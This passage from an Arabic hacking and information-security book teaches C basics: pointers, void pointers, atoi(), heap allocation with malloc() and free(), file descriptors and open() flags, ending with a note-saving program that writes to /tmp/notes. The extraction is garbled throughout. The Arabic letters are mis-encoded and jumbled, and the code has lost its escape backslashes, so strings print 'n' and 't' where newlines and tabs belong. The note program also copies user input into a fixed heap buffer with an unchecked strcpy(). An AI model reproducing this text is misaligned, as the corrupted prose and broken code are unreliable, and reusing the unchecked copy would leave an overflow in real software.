‫ال‬ ‫بني‬ ‫التشابه‬ ‫نقاط‬ ‫يوضح‬ ‫اجلدول‬ ‫وذذا‬
ptr
‫ال‬ ‫و‬
&num
‫املتغري‬ ‫قيمة‬ ‫اآلطر‬ ‫الوجه‬ ‫عىل‬ ‫و‬
num
‫وال‬
“Dereferencing of Pointer ptr”
‫الرمز‬ ‫يف‬ ‫ل‬ِّ‫ث‬َ‫َم‬‫ت‬ُ‫مل‬‫ا‬
*ptr
.!‫املعنى‬ ‫نفس‬ ‫حيمل‬ ‫كالذم‬ ‫حيث‬
Variable Value in it
num 50
&num 1002
ptr 1002
*ptr 50
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[71]
Void Pointer
‫دور‬ ‫جاء‬
‫ال‬
void pointer
..
‫بعمل‬ ‫قمنا‬ ‫أننا‬ ‫لنفرض‬
declare
:ً‫ال‬‫مث‬ ‫املتغريات‬ ‫من‬ ‫أنواع‬ ‫لثالثة‬
(integer, float, and character)
،
‫أردنا‬ ‫م‬ُ‫ث‬
‫منهم‬ ‫تغري‬ُ‫م‬ ‫لكل‬ ‫ختصيص‬
pointer
‫عىل‬ ً‫ء‬‫بنا‬ ‫لليه‬ ‫لىل‬ ‫شري‬ُ‫ي‬
‫ال‬ ‫من‬ ‫أنواع‬ ‫ثالثة‬ ‫بتعريف‬ ‫حينها‬ ‫سنقوم‬ ،‫نوعه‬
pointers
..
‫ب‬ ‫واإلكتفاء‬ ‫اجلهد‬ ‫توقري‬ ‫ُنا‬‫ن‬‫ك‬ُ‫يم‬ ‫ولكن‬
pointer
‫وحيد‬
.
‫ال‬ ‫ذذا‬
"
void pointer
"
ُ‫ي‬ َ
‫س‬
‫ألن‬ ‫اجلهد‬ ‫لينا‬َ‫ع‬ ‫ر‬ِّ‫ق‬‫و‬
‫من‬ ‫سنتمكن‬ ‫نا‬
‫لته‬َ‫م‬‫عا‬ُ‫م‬
‫ك‬
integer pointer
‫أو‬
character pointer
‫احلاج‬ ‫حسب‬
‫ة‬
.
:‫للتوضيح‬ ‫مثال‬ ‫ذذا‬
void *ptr; // ptr is declared as Void pointer
char charnum;
int intnum;
float floatnum;
ptr = &charnum; // ptr has address of character data
ptr = &intnum; // ptr has address of integer data
ptr = &floatnum; // ptr has address of float data
‫تلخ‬ ‫نستطيع‬
‫ال‬ ‫به‬ ‫سيقوم‬ ‫ما‬ ‫يص‬
“void ptr”
:‫النقاط‬ ‫ِبذه‬ ‫نا‬ُ‫ذ‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[72]
Scenario Behavior
When We assign address of integer variable to void
pointer
Void Pointer Becomes Integer Pointer
When We assign address of character variable to void
pointer
Void Pointer Becomes Character
Pointer
When We assign address of floating variable to void
pointer
Void Pointer Becomes Floating
Pointer
‫عن‬ ‫أتكلم‬ ‫أن‬ ‫أود‬ ً‫ا‬‫وأطري‬
Function
‫تسمى‬
atoi( )
‫ال‬ ‫من‬ ‫للتحويل‬ ‫م‬َ‫ُستخد‬‫ت‬
(
data type
character
)
‫ال‬ ‫اىل‬
(
integer data type
)
..
‫قمنا‬ ‫كيف‬ ‫يوضح‬ ‫مثال‬ ‫ييل‬ ‫قيام‬
‫أرقام‬ ‫جمموعة‬ ‫بوضع‬
(integers)
‫ُمتلف‬ ‫نوع‬ ‫من‬ ‫متغري‬ ‫يف‬
character)
)
:‫الشاشة‬ ‫عىل‬ ‫وعرضها‬
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
int val;
char str[20];
strcpy(str, "98993489");
val = atoi(str);
printf("String value = %s, Int value = %dn", str, val);
return(0);
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[73]
:‫كالتايل‬ ‫ج‬‫النتائ‬ ‫تكون‬
String value = 98993489, Int value = 98993489
‫ال‬ ‫ثال‬‫م‬ ‫تسبق‬ ‫التي‬ ‫قدمة‬ُ‫مل‬‫ا‬ ‫من‬ ‫انتهينا‬ ..ً‫ا‬‫حسن‬
Heap Segment
.
Heap Example:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *char_ptr; // A char pointer
int *int_ptr; // An integer pointer
int mem_size;
if (argc < 2) // If there aren't command-line arguments,
mem_size = 50; // use 50 as the default value.
else
mem_size = atoi(argv[1]);
printf("t[+] allocating %d bytes of memory on the heap for
char_ptrn", mem_size);
char_ptr = (char *) malloc(mem_size); // Allocating heap memory
if(char_ptr == NULL) { // Error checking, in case malloc( ) fails
fprintf(stderr, "Error: could not allocate heap memory.n");
exit(-1);
}
strcpy(char_ptr, "This is memory is located on the heap.");
printf("char_ptr (%p) --> '%s'n", char_ptr, char_ptr);
printf("t[+] allocating 12 bytes of memory on the heap for
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[74]
int_ptrn");
int_ptr = (int *) malloc(12); // Allocated heap memory again
if(int_ptr == NULL) { // Error checking, in case malloc( ) fails
fprintf(stderr, "Error: could not allocate heap memory.n");
exit(-1);
}
*int_ptr = 31337; // Put the value of 31337 where int_ptr is pointing.
printf("int_ptr (%p) --> %dn", int_ptr, *int_ptr);
printf("t[-] freeing char_ptr's heap memory...n");
free(char_ptr); // Freeing heap memory
printf("t[+] allocating another 15 bytes for char_ptrn");
char_ptr = (char *) malloc(15); // Allocating more heap memory
if(char_ptr == NULL) { // Error checking, in case malloc( ) fails
fprintf(stderr, "Error: could not allocate heap memory.n");
exit(-1);
}
strcpy(char_ptr, "new memory");
printf("char_ptr (%p) --> '%s'n", char_ptr, char_ptr);
printf("t[-] freeing int_ptr's heap memory...n");
free(int_ptr); // Freeing heap memory
printf("t[-] freeing char_ptr's heap memory...n");
free(char_ptr); // Freeing the other block of heap memory
}
‫ال‬ ‫باستخدام‬ ‫منا‬ُ‫ق‬ ‫البداية‬ ‫يف‬
cmd-line arguments
..
‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
arg[0]
،‫نفسه‬ ‫الربنامج‬ ‫اسم‬ ‫ذو‬
‫م‬ُ‫ث‬
arg[1]
‫أول‬ ‫ذي‬
string
.‫الربنامج‬ ‫لسم‬ ‫بعد‬ ..‫َحن‬‫ن‬ ‫تابتها‬‫ك‬‫ب‬ ‫نقوم‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[75]
‫دالة‬ ‫يف‬ ‫ربنا‬ ُ
‫خي‬
if
‫ال‬ ‫ل‬‫سيستقب‬ ُ‫ه‬‫أن‬
arg[1]
‫لىل‬ ‫بتحويلها‬ ‫ليقوم‬
integer
‫باستخدام‬
atoi( )
‫وض‬ ‫ثم‬
‫املتغري‬ ‫يف‬ ‫عها‬
mem_size
،
‫ال‬ ‫يرى‬ ‫مل‬ ‫لذا‬ ‫أنه‬ ‫الحظ‬
compiler
‫أي‬
arguments
‫لل‬ ‫لقرتاضية‬ ‫مساحة‬ ‫بتحديد‬ ‫قسيقوم‬ ‫ققط‬ ‫األوىل‬ ‫غري‬
mem_size
‫ب‬
50 Bytes
،
.‫حال‬ ‫بأي‬ ‫الربنامج‬ ‫عمل‬ ‫نضمن‬ ‫كي‬
‫تقوم‬ ‫ثم‬
printf( )
‫حتويه‬ ‫ما‬ ‫بطباعة‬
mem_size
‫يف‬ ،
‫ستكون‬ ‫ذذه‬ ‫نا‬‫حالت‬
50
‫ل‬‫ط‬‫ُد‬‫ن‬ ‫مل‬ ‫أننا‬ ‫حيث‬
‫أي‬
Argus
.
‫ال‬ ‫تقوم‬ ‫ثم‬
malloc( )
‫ال‬ ‫يف‬ ‫املطلوبة‬ ‫املساحة‬ ‫بحجز‬
Heap
‫ال‬ ‫ولرجاع‬
pointer
‫ال‬ ‫عمل‬ ‫مع‬
Cast
.ً‫ا‬‫سابق‬ ‫رشحنا‬ ‫كام‬ ‫له‬
‫أن‬ ‫اآلن‬ ‫الحظ‬
char_ptr
‫لىل‬ ‫شري‬ُ‫ي‬ َ
‫ح‬َ‫ب‬‫أص‬
:‫ماييل‬
"
address of memory allocated in Heap
."
‫وباستخدام‬
strcpy( )
‫ذذا‬ ‫يف‬ ‫ما‬ ٍ‫لة‬ ُ
‫مج‬ ‫ضع‬َ‫و‬‫ب‬ ‫َقوم‬‫ن‬ َ
‫س‬
‫ال‬
block of memory
‫لنا‬ ‫جزه‬ َ‫ح‬ ‫َم‬‫ت‬ ‫الذي‬
‫ذذا‬ ‫يف‬ ‫ترى‬ ‫كام‬
:‫السطر‬
strcpy(char_ptr, "This is memory is located on the heap.");
‫ال‬ ‫ذذا‬ ‫عنوان‬ ‫بطباعة‬ ‫نقوم‬ ‫ثم‬
block
‫ال‬ ‫باستخدام‬
operator
(
%p
،)
:‫بداطله‬ ‫التي‬ ‫واجلملة‬
printf("char_ptr (%p) --> '%s'n", char_ptr, char_ptr);
ُ‫ق‬ ‫ثم‬
‫بعمل‬ ‫منا‬
allocation
‫بارش‬ُ‫م‬ ‫بشكل‬ ‫ذا‬ُ‫ُريد‬‫ن‬ ‫التي‬ ‫ساحة‬‫امل‬ ‫ددنا‬ َ‫ح‬ ‫ولكن‬ ‫أطرى‬ ً‫ة‬‫مر‬
"
12 Bytes
"
int_ptr = (int *) malloc(12);
‫ال‬ ‫الحظ‬
Cast
‫اىل‬ ‫ذنا‬
int
‫العدد‬ ‫لها‬‫بداط‬ ‫سنضع‬ ‫ألننا‬
"
31337
."
.
‫ال‬ ‫ناسبة‬ُ‫بم‬
pointers
‫ال‬ ‫ذذه‬ ‫معنى‬ ‫ما‬ ‫يل‬ ‫ل‬ُ‫ق‬ ..
Instruction
‫؟‬
*int_ptr = 31337;
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[76]
‫بعمل‬ ‫نقوم‬ ‫ثم‬
free
‫لل‬
heap
:‫موضح‬ ‫ذو‬ ‫كام‬
printf("t[-] freeing int_ptr's heap memory...n");
free(int_ptr); // Freeing heap memory
printf("t[-] freeing char_ptr's heap memory...n");
free(char_ptr); // Freeing the other block of heap memory
:‫الكود‬ ‫نتائج‬ ‫ماييل‬
reader@hacking:~/booksrc $ gcc -o heap_example heap_example.c
reader@hacking:~/booksrc $ ./heap_example
[+] allocating 50 bytes of memory on the heap for char_ptr
char_ptr (0x804a008) --> 'This is memory is located on the heap.'
[+] allocating 12 bytes of memory on the heap for int_ptr
int_ptr (0x804a040) --> 31337
[-] freeing char_ptr's heap memory...
[+] allocating another 15 bytes for char_ptr
char_ptr (0x804a050) --> 'new memory'
[-] freeing int_ptr's heap memory...
[-] freeing char_ptr's heap memory...
reader@hacking:~/booksrc $
‫ال‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬
Heap
.
،!‫هم‬ُ‫م‬ ‫موضوع‬ ‫لىل‬ ‫ننتقل‬ َ
‫س‬
..‫القادمة‬ ‫الفصول‬ ‫يف‬ ً‫ا‬‫كثري‬ ُ‫ه‬‫م‬‫نستخد‬ َ
‫س‬
‫ال‬ ‫عن‬ ‫سنتكلم‬
“Flie Descriptors”
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[77]
File Access
‫ملف‬ ً‫ال‬‫مث‬ ،‫جهازك‬ ‫عىل‬ ‫ما‬ ٍ
‫ملف‬ ‫بفتح‬ ‫ترغب‬ ‫عندما‬
Notepad
‫ال‬ ‫يف‬ ‫ث‬ُ‫د‬ َ
‫حي‬ ‫مالذي‬ ،
Operating System
‫يتم‬ ‫عندما‬
َ‫مل‬‫ا‬ ‫تح‬َ‫ق‬
‫أمامك؟‬ ‫لف‬
.
‫بإنشاء‬ ‫لديك‬ ‫التشغيل‬ ‫نظام‬ ‫يقوم‬
Entry
‫لف‬َ‫مل‬‫ا‬ ‫ِبذا‬ ‫قة‬ِّ‫ل‬‫َع‬‫ت‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫قيه‬ ‫ن‬ ِّ‫َز‬ ُ
‫خي‬ ،)‫امللف‬ ‫ذذا‬ ‫قتح‬ ‫(عملية‬ ‫العملية‬ ‫هلذه‬
‫ال‬ ‫ذذا‬ ‫عن‬ ‫بالتعبري‬ ‫ويقوم‬
Entry
ً‫ال‬‫مث‬ ..‫برقم‬
100
‫الرقم‬ ‫ذذا‬ ،
unique
‫امللف‬ ‫هلذا‬
‫يف‬ ‫امللفات‬ ‫من‬ ‫عدد‬ ‫قتح‬ ‫أردت‬ ‫قإذا‬ ،
ً‫ال‬‫مث‬ ‫الوقت‬ ‫نفس‬
‫بتكوين‬ ‫التشغيل‬ ‫نظام‬ ‫سيقوم‬ ،‫ملفات‬ ‫عرشة‬
"
10 Entries
،"
‫ال‬ ‫ذذه‬ ‫تتخزن‬
Entries
‫ما‬ ٍ‫مكان‬ ‫يف‬
‫ال‬ ‫داطل‬
Kernel
‫أرقام‬‫ب‬ ‫م‬ُ‫نه‬َ‫ع‬ ‫رب‬َ‫ع‬ُ‫ي‬‫و‬ ،
(100, 101, 102, 103,…109)
.
‫ليها‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ ‫األرقام‬ ‫ذذه‬
"
File Descriptors
."
‫ال‬ ‫ذو‬ ‫قام‬
File Descriptor
‫؟‬
.
“It is an integer number that uniquely represents an opened file in operating system”
‫قائدته؟‬ ‫ذي‬ ‫وما‬
.
‫يبدو‬
‫ل‬َ‫م‬َ‫ع‬‫ل‬ ‫التشغيل‬ ‫ظام‬‫ن‬ ‫مها‬‫َخد‬‫ت‬‫س‬َ‫ي‬ ‫طريقة‬ ‫أهنا‬
Tracking
‫املفتوح‬ ‫للملفات‬
‫ة‬
.‫ديه‬َ‫ل‬
‫ال‬ ‫ذذه‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬
file descriptors
‫ال‬ ‫من‬ ‫جمموعة‬
(
Low-Level Functions
)
،‫امللفات‬ ‫مع‬ ‫للتعامل‬
‫أمه‬ ‫نذكر‬
:‫ها‬
open(), close(), read(), and write()
‫ال‬ ‫ذذه‬
functions
‫بإرجاع‬ ‫تقوم‬
(-1)
‫أي‬ ‫حدوث‬ ‫حالة‬ ‫يف‬
Error
.
‫ال‬ ‫يرشح‬ ‫مثال‬ ‫ُعطي‬‫ن‬ َ
‫س‬
file descriptor
‫ال‬ ‫وبعض‬
low-level functions
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[78]
‫ييل‬ ‫قيام‬
‫باستقبال‬ ‫يقوم‬ ‫برنامج‬
note
‫صري‬َ‫ق‬ ‫لة‬ ُ
‫مج‬ ‫أو‬
‫ة‬
‫يئة‬َ‫ذ‬ ‫عىل‬ ‫نك‬‫م‬
command-line argument
‫م‬ُ‫ث‬
‫لف‬َ‫م‬ ‫تح‬َ‫ف‬‫ب‬ ‫قوم‬َ‫ي‬
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫يقوم‬ ‫لن‬ ‫أنه‬ ‫(بمعنى‬ ‫لف‬َ‫مل‬‫ا‬ ‫ذذا‬ ‫اية‬‫هن‬ ‫يف‬ ‫ملة‬ُ‫جل‬‫ا‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ولضاقة‬
overwrite
‫ذذا‬..)‫ت‬َ‫د‬‫ج‬ُ‫و‬ ‫لن‬ ،‫بداطله‬ ‫التي‬ ‫للبيانات‬
:‫ييل‬ ‫كام‬ ُ‫ه‬‫مسار‬ ‫امللف‬
/tmp/notes
‫م‬‫َخد‬‫ت‬‫نس‬ َ
‫س‬ ‫أننا‬ ‫تتوقع‬ ‫وأن‬ ‫د‬ُ‫ب‬‫ال‬ ..‫نبدأ‬ ‫أن‬ ‫قبل‬
open( )
‫و‬ ،‫لف‬َ‫مل‬‫ا‬ ‫ك‬‫ذل‬ ‫َح‬‫ت‬‫َف‬‫ن‬‫ل‬
write( )
‫ُب‬‫ت‬‫َك‬‫ن‬‫ل‬
‫نا‬َ‫ل‬ ‫ُعطيه‬‫ت‬‫س‬ ‫ما‬ ‫له‬‫داط‬
‫و‬ ،
close( )
.‫اإلنتهاء‬ ‫عد‬َ‫ب‬ ‫بإغالقه‬ ‫َقوم‬‫ن‬‫ل‬
‫أن‬ ‫لال‬
open( )
َ‫ب‬‫صحو‬َ‫م‬ ً‫ام‬‫دائ‬ ‫تأيت‬ ‫ذذه‬
‫ة‬
‫بال‬ ‫قة‬ِّ‫ل‬َ‫ع‬َ‫ت‬ُ‫مل‬‫ا‬ ‫التفاصيل‬ ‫عض‬َ‫ب‬‫ب‬
Access Mode
..
‫سيكون‬ ‫ذل‬
Read only
،‫؟‬
‫أم‬
Write only
،‫؟‬
‫ُسمى‬‫ت‬ ‫التفاصيل‬ ‫ذذه‬.. ‫؟‬ً‫ا‬‫مع‬ ‫اإلثنان‬ ‫أم‬
"
Flags
"
.
‫ما‬
‫ييل‬
:‫نها‬‫م‬ ً‫ا‬‫عض‬َ‫ب‬
O_RDONLY Open file for read-only access.
O_WRONLY Open file for write-only access.
O_RDWR Open file for both read and write access.
O_APPEND Write data at the end of the file.
O_TRUNC If the file already exists, truncate the file to 0 length.
O_CREAT Create the file if it doesn’t exist.
‫ال‬ ‫تتمكن‬ ‫لكي‬
open( )
‫ال‬ ‫ذذه‬ ‫استخدام‬ ‫من‬
flags
‫ل‬َ‫م‬َ‫ع‬‫ل‬ ‫سنحتاج‬
include
‫ال‬ ‫ذه‬َ‫هل‬
Lib
fcntl.h
#include <fcntl.h>
‫ل‬َ‫م‬َ‫ع‬ ّ‫ا‬‫أيض‬ ‫ظ‬‫ُالح‬‫ت‬ َ
‫س‬
include
‫ل‬
library
‫ُسمى‬‫ت‬ ‫جديدة‬
"
sys/stat.h
"
،
‫يوجد‬
flags
‫لل‬ ‫ن‬‫مك‬ُ‫ي‬ ‫أطرى‬
open( )
‫بال‬ ‫تتعلق‬ ،‫استخدامها‬
"
file permissions
"
..
‫هلم‬ ‫سنأيت‬
.‫قليل‬ ‫بعد‬
‫الربنامج‬ ‫كود‬ ‫لىل‬ ‫نأيت‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[79]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>n", prog_name, filename);
exit(0);
}
void fatal(char *); // A function for fatal errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper
int main(int argc, char *argv[]) {
int fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/tmp/notes");
if(argc < 2) // If there aren't command-line arguments,
usage(argv[0], datafile); // display usage message and exit.
strcpy(buffer, argv[1]); // Copy into buffer.
printf("[DEBUG] buffer @ %p: '%s'n", buffer, buffer);
printf("[DEBUG] datafile @ %p: '%s'n", datafile, datafile);
strncat(buffer, "n", 1); // Add a newline on the end.
// Opening file
fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR |
S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[80]
printf("[DEBUG] file descriptor is %dn", fd);
// Writing data
if(write(fd, buffer, strlen(buffer)) == -1)
fatal("in main() while writing buffer to file");
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
printf("Note has been saved.n");
free(buffer);
free(datafile);
}
// A function to display an error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// An error-checked malloc( ) wrapper function
void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL)
fatal("in ec_malloc() on memory allocation");
return ptr;
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[81]
‫من‬ ‫نبدأ‬
‫ال‬
main( )
‫الربنامج‬ ‫ل‬‫َقب‬‫ت‬‫س‬َ‫ي‬ ُ
‫حيث‬
command-line arguments
،
‫م‬َ‫ل‬‫َع‬‫ت‬ ‫َام‬‫ك‬‫و‬
arg[0]
‫الربنامج‬ ‫اسم‬ َ‫ي‬‫ذ‬
،‫نفسه‬
simplenote.c
‫ال‬ ‫قية‬َ‫ب‬ ‫م‬ُ‫ث‬ ،
arguments
.!‫َحن‬‫ن‬ ُ‫ه‬‫ل‬‫ط‬‫ُد‬‫ن‬ َ
‫س‬ ‫ما‬ َ‫ي‬‫ذ‬
‫تغري‬ُ‫م‬ ‫َعريف‬‫ت‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬
int
‫ال‬ ‫قيمة‬ ‫ل‬‫حم‬َ‫ي‬ َ
‫س‬ ،
file descriptor
‫َحديد‬‫ت‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬‫و‬
"
pointers on strings
"
‫ا‬ ُ
‫مه‬
buffer
‫و‬
datafile
‫ال‬ ‫قامت‬ ‫م‬ُ‫ث‬ ،
ec_malloc( )
‫قدارذا‬‫م‬ ‫ساحة‬‫م‬ ‫نا‬َ‫ل‬ ‫جز‬َ‫ح‬‫ب‬
100 bytes
‫لل‬
buffer
‫ال‬ ‫عمل‬ ‫مع‬
casting
‫ن‬‫م‬
‫ال‬ ‫ختزين‬ ‫أجل‬
string
‫بداطله‬
.
‫نا‬َ‫ل‬ ‫جز‬َ‫ح‬‫ب‬ ‫قامت‬ ً‫ا‬‫أيض‬ ‫م‬ُ‫ث‬
20 bytes
‫لل‬
datafile
،
‫ال‬ ‫ذذا‬ ‫داطل‬ ‫نضع‬ َ
‫س‬ ‫لكن‬
datafile
‫ل‬ ُ
‫مج‬
‫ة‬
‫ثابت‬
‫ة‬
‫بداطله‬ ‫سنضعها‬ !
‫باستخدام‬
strcpy( )
..
‫مل‬ُ‫جل‬‫ا‬ ‫ذذه‬
‫ة‬
:‫ستكون‬
“/tmp/notes”
‫ال‬ ‫ذذا‬ ‫استدعينا‬ ‫ما‬ ‫قمتى‬
datafile
‫ي‬ َ
‫س‬
‫ال‬ ‫لىل‬ ‫بنا‬ ‫ذذب‬
/tmp/notes
‫ال‬ ‫لدطال‬ ‫عملية‬ ‫من‬ ‫وللتأكد‬
arguments
‫دالة‬ ‫باستخدام‬ ‫رشط‬ ‫وضع‬ ‫تم‬
if
:‫ييل‬ ‫كام‬
If (argc < 2)
usage(argv[0], datafile);
‫السطر‬ ‫ذذا‬
usage(argv[0], datafile)
‫يعني‬
:
ُ‫ق‬
‫ال‬ ‫لىل‬ ‫بالذذاب‬ ‫م‬
usage( )
‫ال‬ ‫ذذه‬ ‫معك‬ ً‫ا‬‫آطذ‬
parameters
:
Argv[0]which is: simplenote.c, and datafile which is: /tmp/notes
‫ال‬ ‫ذذه‬
parameters
‫ست‬
‫كون‬
ُ‫م‬
‫لل‬ ‫دطالت‬
function
‫املسام‬
‫ة‬
void usage
:
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>n", prog_name, filename);
exit(0);
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[82]
‫الحظ‬
‫أهنا‬
void
‫بم‬
‫عني‬
ُ‫ه‬‫أن‬
‫ذناك‬ ‫يكون‬ ‫لن‬
return value
‫ال‬ ‫لىل‬
main( )
.
.!‫ومتعلقاته‬ ‫الرشط‬ ‫ينتهي‬ ‫ذنا‬ ‫لىل‬
‫و‬
‫ال‬ ‫لدطالنا‬ ‫حالة‬ ‫يف‬
arg[1]
،
‫وذي‬
“this is test note”
،
‫َسخ‬‫ن‬‫ب‬ ‫سنقوم‬
‫ال‬ ‫لىل‬ ‫ها‬
buffer
،
‫تقوم‬ ‫وبعدذا‬
printf( )
‫ط‬‫ب‬
‫ِبا‬ ‫اخلاص‬ ‫العنوان‬ ‫وطباعة‬ ‫باعتها‬
..
"
Address of buffer, and buffer
"
‫نها‬‫م‬ ‫أسفل‬
printf( )
‫ع‬َ‫ب‬‫َط‬‫ت‬ َ
‫س‬ ‫طرى‬ُ‫أ‬
:‫ماييل‬
"
address of datafile string
،"
‫حمتو‬ ‫و‬
‫ي‬
‫ا‬
‫هت‬
‫ا‬
‫أهنا‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
string
‫ثابت‬
‫ة‬
‫امللف‬ ‫مسار‬ ‫وذي‬
“/tmp/notes”
.
ُ‫ث‬
:‫اليشء‬ ‫ذذا‬ ‫يأيت‬ ‫م‬
strncat ( buffer, "n", 1 );
:‫به‬ ‫ونعني‬
‫بإضاقة‬ ‫م‬ُ‫ق‬
n
‫لىل‬
‫ال‬
string
..
‫وذي‬
“this is test note”
‫والرقم‬ ،‫ملة‬ُ‫جل‬‫ا‬ ‫ذذه‬ ‫تنتهي‬ ‫أن‬ ‫بعد‬ ‫جديد‬ ‫سطر‬ ‫لبدأ‬ ‫بمعنى‬
(
1
)
‫أن‬ ‫يعني‬ ‫نا‬ُ‫ذ‬
“n”
‫صيص‬ َ
‫خت‬ ‫َم‬‫ت‬ ‫ذذه‬
1 byte
‫املساح‬ َ‫ي‬‫وذ‬ ،‫هلا‬
‫ة‬
‫الرمز‬ ‫ذذا‬ ‫لها‬َ‫غ‬‫ش‬َ‫ي‬ ‫التي‬
‫ال‬ ‫داطل‬
memory

.
‫وذو‬ ‫احللقة‬ ‫ملوضوع‬ ‫نأيت‬ ‫واآلن‬
low-level-functions
:
‫ال‬ ‫ستقوم‬
open( )
،‫امللف‬ ‫قتح‬ ‫بعملية‬
‫ال‬ ‫من‬ ‫جمموعتني‬ ‫استخدمت‬ ‫أهنا‬ ‫ترى‬ ‫وكام‬
flags
،
‫املراد‬ ‫امللف‬ ‫مسار‬ ‫يسبقهم‬
.‫قتحه‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[83]
‫األوىل‬ ‫املجموعة‬
‫ثالثة‬ ‫من‬ ‫تتكون‬
flags
‫بينهم‬ ‫يفصل‬
|
‫أحد‬ ‫وذي‬
‫ال‬
standard logic gates
‫تسمى‬
OR
.
‫يمكنك‬
‫الرجوع‬
‫هل‬
‫ال‬ ‫ذه‬
flags
‫نسيت‬ ‫لن‬
‫دالالهتم‬
..
‫قهي‬ ‫الثانية‬ ‫املجموعة‬ ‫ا‬ّ‫م‬‫أ‬
:
S_IRUSR | S_IWUSR
‫لليهم‬ ‫سنأيت‬
ً‫ا‬‫أيض‬
‫ال‬ ‫ققرة‬ ‫يف‬
Permissions
.
S_IRUSR Give the file read permission for the user (owner).
S_IWUSR Give the file write permission for the user (owner).
:‫الثالث‬ ‫ليات‬َ‫م‬َ‫ع‬‫ال‬ ‫ن‬‫م‬ ‫لية‬َ‫م‬َ‫ع‬ ‫أي‬ ‫ل‬ َ
‫ش‬َ‫ق‬ َ‫ند‬‫ع‬ ُ‫ه‬‫أن‬ ‫ظ‬‫الح‬
open, write, and close
‫لىل‬ ‫باالنتقال‬ ‫الربنامج‬ ‫سيقوم‬
fatal( )
‫رسالة‬ َ
‫لك‬ ‫ر‬َ‫َظه‬‫ت‬‫ل‬
error
.‫الربنامج‬ ‫ج‬‫طار‬ ‫روج‬ُ‫خل‬‫ا‬ ‫م‬ُ‫ث‬
‫وتقوم‬ ‫لف‬َ‫مل‬‫ا‬ ‫ح‬‫ت‬َ‫ق‬ ‫قسيتم‬ ‫الطبيعية‬ ‫احلالة‬ ‫يف‬ ‫ا‬ّ‫م‬‫أ‬
printf( )
‫رض‬َ‫ع‬‫ب‬
‫ا‬
‫ل‬
fd
‫العملية‬ ‫ِبذه‬ ‫اخلاص‬
.
‫ُر‬‫ك‬‫َذ‬‫ت‬ ‫ذل‬
‫ذذا‬
‫ال‬
file descriptor
.‫؟‬
‫ال‬ ‫تأيت‬ ‫م‬ُ‫ث‬
write( )
‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬‫ل‬
string
‫ال‬ ‫ن‬‫م‬
buffer
‫ل‬‫داط‬ ‫ها‬‫ت‬َ‫ب‬‫تا‬‫ك‬ ‫هلا‬ ‫يتسنى‬ ‫َي‬‫ك‬ ‫ها‬‫ق‬ ُ‫أحر‬ ‫د‬َ‫د‬َ‫ع‬ ‫ساب‬‫حل‬ ‫تحتاج‬ َ
‫س‬ ‫وبالتايل‬
‫ال‬ ‫تقوم‬ َ
‫س‬ ‫نا‬ُ‫ذ‬ ،‫لف‬َ‫مل‬‫ا‬
write( )
‫استخدام‬‫ب‬
Function
‫با‬ ‫َقوم‬‫ت‬‫ل‬ ‫طرى‬ُ‫أ‬
‫ال‬ ‫تويات‬ ُ
‫حم‬ ‫قبال‬‫ست‬
buffer
‫د‬َ‫د‬َ‫ع‬ ‫ساب‬‫وح‬
‫ه‬‫ب‬ ‫ف‬ ُ‫األحر‬
..
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬
function
‫ى‬‫ُسم‬‫ت‬
strlen( )
.
